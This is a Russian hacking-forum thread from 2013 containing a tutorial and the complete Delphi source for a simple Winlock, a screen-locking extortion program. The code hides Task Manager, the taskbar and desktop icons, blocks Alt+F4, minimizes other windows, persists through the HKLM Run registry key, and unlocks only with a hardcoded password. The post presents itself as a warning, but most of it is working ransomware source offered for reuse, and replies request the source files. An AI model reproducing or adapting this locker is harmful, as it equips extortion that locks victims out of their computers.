1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Winlock на Delphi. Подробный разбор простого Winlock'а.

Тема в разделе "Pascal/Delphi", создана пользователем pwcode, 5 июн 2013.

  1. pwcode
    pwcode Новичок
    Симпатии:
    5
    Всегда интересно чему-то научиться, что-то понять и что-то повторить, в своей трактовке и со своей логикой :) Скорее всего ты здесь именно за этим, так что начнём.
    Что такое Winlock? Это такая вещь, которая блокирует экран пользователя (повисает на рабочем столе) и вымогает что-либо. Очень-очень злая штука. Будучи глупым юзверем, как-то давно, в плавании по сети схватил я такую злую штуку, и чуть не отправил злополучную смс. И даже сейчас таких людей очень много, и многие эту смс всё-таки отправляют. Так что статья написана для того, что бы предостеречь тебя в такой ситуации. Что бы понять как действует преступник - нужно мыслить как преступник. А для этого надо разобрать всю структуру работы вымогателя на живом примере. Так что начнём разбираться.

    1) Что важно понимать.
    __________
    Сегодня я рассмотрю то, что можно схватить в сети чаще всего - самый примитивный Winlock, написанный на коленке. Именно такой, с самыми незамысловатыми способами работы мы сегодня и рассмотрим. В последующем будет рассмотрение Winlock'а с hook'ами (терпеть их не могу, но показать надо) и Winlock'а на чистом API (что даст очень маленький размер).
    __________

    Важно понимать, что в первую очередь такая программа обрубает все ходы отступления. А какие есть ходы назад? Ну как вариант диспетчер задач. Он не вызвался? Тогда связки клавиш, например Alt+F4. Не помогло? Паника-паника! Нужно перезагрузить компьютер, тогда всё пройдёт! И вымогатель и сглаз и понос! Перезагрузили, ничего не прошло. У пользователя уже совсем паника, windows переустанавливать он не умеет, и в отчаянии отправляет смс на номер, что вымогатель написал. Если winlock порядочный, то он разблокирует пользователя, предупредит что бы больше так не делал и само-удалится. Если же нет, то ничего не изменится и пользователю придётся переустановить систему.
    Вся работа программы основывается на обрубании этих самых ходов отступления, т.е. попытках остановить программу. Так что далее рассмотрим как это сделать.

    2)Как?
    Совсем не сложно.
    Что такое Handle? Если понятно - то это указатель (ссылка) на дескриптор (расположение в оперативной памяти) окна или программы (тут мы неожиданно узнаём что у каждого окна или программы есть свой дескриптор:) ). Вот этот дескриптор (или ссылку на дескриптор ) можно какой-то функцией получить. А можно его получить и например поставить приоритет запуска данной программе (приоритет - скрытый, приоритет - modal) и так далее. Т.е. фактически мы можем скрыть любое окно в системе, скрыть любую программу. И при её вызове она не будет отображаться.

    Что ещё? Ещё важно сделать так, что бы при перезагрузке программа оставалась запущенной. Пропишем что-нибудь в реестр, что бы в момент отображения рабочего стола отобразилась и программа (а дальше она уже активирует свои злые возможности). Какие мы коварные.
    [​IMG]
    3)Кодим.
    Форма для работы:
    [​IMG]
    В поле будет вводиться пароль, если он не верен - то ничего не разблокируется. Если верен - то всё ok'ey. На кнопках 1-9 и 0 код простой:
    Код:
    edit1.text:=edit1.text+'1' и т.д.
    У кнопки "Очистить" код :
    Код:
    edit1.Clear;
    Теперь рассмотрим как же блокировать окна. Начнём с диспетчера задач.
    Он вызывается 2-мя методами: 1) Сочетание клавиш CTR+ALT+DELETE ; 2) Сочетание клавиш CTR+SHIFT+ESC.
    Эти сочетания можно исключить 4-мя а может и больше методами. HOOK, через Handle окна, SystemParametersInfo и реестр. К сожалению последний , 3-ий, работал только в Windows XP. В 7-ой версии он уже не работает. HOOK я буду рассматривать в следующей статье, так что сегодня рассмотрим отключение через Handle окна:
    В uses дописываем модуль SHELLAPI и Registry.
    Пишем в событие формы OnCreate:
    Код:
     //Выключение:
    var H : THandle;
    begin
    H:=FindWindow(nil,'Диспетчер задач Windows');  // H = дескриптору на диспетчер задач
    if H=0 then ShellExecute(0,'open','taskmgr.exe',nil,nil,SW_HIDE)  // если дескриптор не найден, то запрещаем запуск процесса, если найден, то
    else ShowWindow(H,SW_HIDE);   //ставим ему скрытый приоритет
    
    Код:
     //Включение:
    var  H:THandle;
    begin
      H:=FindWindow(nil, 'Диспетчер задач Windows');    // H = дескриптору на диспетчер задач
      ShowWindow(H,SW_SHOWNORMAL);   //ставим ему нормальный приоритет
    end;
    
    Как работает. Функция FindWindow имеет 2 параметра: 1) Класс окна; 2)Заголовок окна. Т.к. класс окна мы не знаем, ставим вместо него NIL, а вот заголовок виден - "Диспетчер задач Windows". Сама функция получает дескриптор окна (его положение в оперативной памяти) (иногда называют HANDLE, отсюда и название типа - Thandle). И вот данный дескриптор мы присваиваем переменной соответствующего типа. Далее функция ShowWindow грубо говоря ставит приоритет на вызов (когда окно будет вызвано, оно будет вызвано с данным приоритетом). Приоритеты знает гугл. Оттуда и берём, что SW_HIDE - скрытый приоритет. SW_SHOWNORMAL - нормальный приоритет.
    Теперь заблокируем комбинацию клавиш Alt+F4:
    В событии формы Close нужно написать:
    Код:
    CanClose := False;
    Глупый способ, но он работает и железно блокирует эту связку клавиш.

    Идём дальше:

    Код:
    //______________скрытие панели задач_______________
    H := FindWindow('Shell_TrayWnd', Nil); //далее комментарии не ставлю, так как принцип пока один и тот же
    ShowWindow(H, SW_HIDE);
    //______________скрытие панели задач_______________
    
    //______________убираем иконки с раб. стола_______________
    H:=FindWindow(nil,'Program Manager');
    ShowWindow(H,SW_HIDE);
    //______________убираем иконки с раб. стола_______________
    
    //______________добавление в автозагрузку_______________
    reg:= TRegistry.Create;
    reg.RootKey:= hkey_local_machine;
    reg.LazyWrite:= false;
    reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', false);
    reg.WriteString('ololo', application.ExeName);  //Вместо ololo пишем любое удобное вам имя
    reg.CloseKey;
    reg.Free;
    //______________добавление в автозагрузку_______________
    
    Про автозагрузку пару слов. Сейчас рассматривать не буду, так как работать с реестром совсем не сложно. На крайний случай при отсутствии справки в delphi идите вы в гугл, там всё есть :) Ну или пишите свои вопросы в комментариях.
    Теперь нужно свернуть все окна, что бы осталось только наше. Для этого есть небольшая и удобная процедурка:

    Код:
    procedure MinimizeAllApp;
    VAR
    Wnd : hWnd;
    buff: ARRAY [0..127] OF Char;
    begin
    Wnd := GetWindow(form1.Handle, gw_HWndFirst);
    WHILE Wnd <> 0 DO BEGIN {Не показываем:}
    IF (Wnd <> Application.Handle) AND {-Собственное окно}
    IsWindowVisible(Wnd) AND {-Невидимые окна}
    (GetWindow(Wnd, gw_Owner) = 0) AND {-Дочернии окна}
    (GetWindowText(Wnd, buff, sizeof(buff)) <> 0) {-Окна без заголовков}
    THEN BEGIN
    {тут во и пишешь:}
    PostMessage(wnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
    {или что-то вроде этого}
    END;
    Wnd := GetWindow(Wnd, gw_hWndNext);
    END;
    end;
    
    В работе:
    [​IMG]
    Ну и дальше осталось лишь выполнить небольшую проверку на пароль и написать все обратные процедуры на кнопку разблокировать:
    Код:
    var H: Thandle;
    reg: TRegistry;
    s: string[10];
    begin
    s:= edit1.Text;
    if s='45672' then
    begin
    
    H:=FindWindow(nil,'Диспетчер задач Windows');
    ShowWindow(H,SW_SHOWNORMAL);
    H := FindWindow('Shell_TrayWnd', Nil);
    ShowWindow(H, SW_SHOWNORMAL);
    H:=FindWindow(nil,'Program Manager');
    ShowWindow(H,SW_SHOWNORMAL);
    
    reg:= TRegistry.Create;
    reg.RootKey:= hkey_local_machine;
    reg.LazyWrite:= false;
    reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', false);
    reg.DeleteKey ('ololo');
    reg.CloseKey;
    reg.Free;
    Close;
    end else
    ShowMessage ('Пароль неверен. Повторите операцию');
    end;
    
    Ну и весь код проекта:

    Код:
    unit Unit1;
    
    interface
    
    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.Imaging.pngimage, shellapi,
      Vcl.ExtCtrls, registry;
    
    type
      TForm1 = class(TForm)
        Button1: TButton;
        Button2: TButton;
        Edit1: TEdit;
        Button3: TButton;
        Button4: TButton;
        Button5: TButton;
        Button6: TButton;
        Button7: TButton;
        Button8: TButton;
        Button9: TButton;
        Button10: TButton;
        Button11: TButton;
        Button12: TButton;
        GroupBox1: TGroupBox;
        Image1: TImage;
        Label1: TLabel;
        Label2: TLabel;
        Timer1: TTimer;
        procedure Edit1Change(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Button2Click(Sender: TObject);
        procedure Button3Click(Sender: TObject);
        procedure Button4Click(Sender: TObject);
        procedure Button5Click(Sender: TObject);
        procedure Button6Click(Sender: TObject);
        procedure Button7Click(Sender: TObject);
        procedure Button8Click(Sender: TObject);
        procedure Button9Click(Sender: TObject);
        procedure Button10Click(Sender: TObject);
        procedure Button11Click(Sender: TObject);
        procedure Button12Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    procedure MinimizeAllApp;
    VAR
    Wnd : hWnd;
    buff: ARRAY [0..127] OF Char;
    begin
    Wnd := GetWindow(form1.Handle, gw_HWndFirst);
    WHILE Wnd &lt;&gt; 0 DO BEGIN {Не показываем:}
    IF (Wnd &lt;&gt; Application.Handle) AND {-Собственное окно}
    IsWindowVisible(Wnd) AND {-Невидимые окна}
    (GetWindow(Wnd, gw_Owner) = 0) AND {-Дочернии окна}
    (GetWindowText(Wnd, buff, sizeof(buff)) &lt;&gt; 0) {-Окна без заголовков}
    THEN BEGIN
    {тут во и пишешь:}
    PostMessage(wnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
    {или что-то вроде этого}
    END;
    Wnd := GetWindow(Wnd, gw_hWndNext);
    END;
    end;
    
    procedure TForm1.Button10Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'7';
    end;
    
    procedure TForm1.Button11Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'8';
    end;
    
    procedure TForm1.Button12Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'9';
    end;
    
    procedure TForm1.Button2Click(Sender: TObject);
    var H: Thandle;
    reg: TRegistry;
    s: string[10];
    begin
    s:= edit1.Text;
    if s='45672' then
    begin
    
    H:=FindWindow(nil,'Диспетчер задач Windows');
    ShowWindow(H,SW_SHOWNORMAL);
    H := FindWindow('Shell_TrayWnd', Nil);
    ShowWindow(H, SW_SHOWNORMAL);
    H:=FindWindow(nil,'Program Manager');
    ShowWindow(H,SW_SHOWNORMAL);
    
    reg:= TRegistry.Create;
    reg.RootKey:= hkey_local_machine;
    reg.LazyWrite:= false;
    reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', false);
    reg.DeleteKey ('ololo');
    reg.CloseKey;
    reg.Free;
    Close;
    end else
    ShowMessage ('Пароль неверен. Повторите операцию');
    end;
    
    procedure TForm1.Button3Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'0';
    end;
    
    procedure TForm1.Button4Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'1';
    end;
    
    procedure TForm1.Button5Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'2';
    end;
    
    procedure TForm1.Button6Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'3';
    end;
    
    procedure TForm1.Button7Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'4';
    end;
    
    procedure TForm1.Button8Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'5';
    end;
    
    procedure TForm1.Button9Click(Sender: TObject);
    begin
    edit1.Text:= edit1.Text+'6';
    end;
    
    procedure TForm1.Edit1Change(Sender: TObject);
    begin
    Edit1.PasswordChar:='*'
    end;
    
    procedure TForm1.FormCreate(Sender: TObject);
    var H : THandle;
    reg: Tregistry;
    WH:HWnd;
    begin
    //______________скрытие диспетчера задач_______________
    H:=FindWindow(nil,'Диспетчер задач Windows');
    if H=0 then ShellExecute(0,'open','taskmgr.exe',nil,nil,SW_HIDE)
    else ShowWindow(H,SW_HIDE);
    //______________скрытие диспетчера задач_______________
    
    
    //______________скрытие панели задач_______________
    H := FindWindow('Shell_TrayWnd', Nil);
    ShowWindow(H, SW_HIDE);
    //______________скрытие панели задач_______________
    
    
    //______________убираем иконки с раб. стола_______________
    H:=FindWindow(nil,'Program Manager');
    ShowWindow(H,SW_HIDE);
    //______________убираем иконки с раб. стола_______________
    
    
    //______________добавление в автозагрузку_______________
    reg:= TRegistry.Create;
    reg.RootKey:= hkey_local_machine;
    reg.LazyWrite:= false;
    reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run\', false);
    reg.WriteString('ololo', application.ExeName);
    reg.CloseKey;
    reg.Free;
    //______________добавление в автозагрузку_______________
    
    
    //______________сворачиваем все окна системы_______________
    MinimizeAllApp;
    //______________сворачиваем все окна системы_______________
    
    
    end;
    end.
    Исходники прилагаются, они уже на сайте (если нужно то дам ссылку, дабы не сказали что реклама)
    Итак. Подведём промежуточный итог. Что у нас есть? Пользователь запускает программу, она пишется в автозагрузку, сворачивает все окна, очищает рабочий стол, скрывает все панели и выдаёт злое сообщение. Для неопытного пользователя этого уже достаточно, и придётся либо переустановить систему, либо выполнить требования что описаны в программе (что скорее всего и будет). Статья первая и самая лёгкая (с использованием API-функций и простых приёмов) завершена. Следующая будет с использованием HOOK'-ов и API.

    Добавлено через 2 минуты
    Моя первая статья. Собственно написал на сайте, и добавил на форум к вам:) Авторство моё, могу подтвердить, если кто знает как.
    Очень буду рад критике. Так как статьи писать только начал, и если подскажете что добавлять и дополнять, обязательно буду слушать и делать :)
     
    Последнее редактирование: 5 июн 2013
    5 июн 2013
    5 пользователям это понравилось.
  2. Trojan™
    Trojan™ Новичок
    Симпатии:
    3
    сними видео как это все делается а то я что то туго соображаю.
    Пожелание к автору: можешь полный мануал написать по SQL как говорится от "А" до "Я" ,в подробностях и желательно с видео уроком...(хочу обучится!)
     
    5 июн 2013
  3. pwcode
    pwcode Новичок
    Симпатии:
    5
    Куда уж более подробно? Расписано всё и так с 0-ля. Если не хочешь разбираться перепечатывай код, и проверяй на работоспособность. Только перед этим запомни пароль и сделай все обратные функции в кнопке "Разблокировать" :)
    И причём тут SQL-уязвимости? Про них года с 2008 - ого огромное количество и видео, и мануалов.
     
    5 июн 2013
  4. Trojan™
    Trojan™ Новичок
    Симпатии:
    3
    исходник мона?
     
    6 июн 2013
  5. FanOfGun
    FanOfGun Продвинутый
    Симпатии:
    15
    в первом посте посмотри, там полный исходник проекта

    pwcode,
    удели плз больше внимания коду, все эти стабильно дельфийские edit1, button1 и так далее вместо вменяемых txtPwd и btnDecode (это чисто пример, за что отвечают edit1 и button1 в твоем коде я не присматривался), ну и отступы.
     
    6 июн 2013
  6. pwcode
    pwcode Новичок
    Симпатии:
    5
    Хорошо, спасибо за совет :) В следующих статьях, пишу просто пока 2 статьи, обязательно уделю, и как напишу сразу скину.
     
    7 июн 2013

Поделиться этой страницей

Загрузка...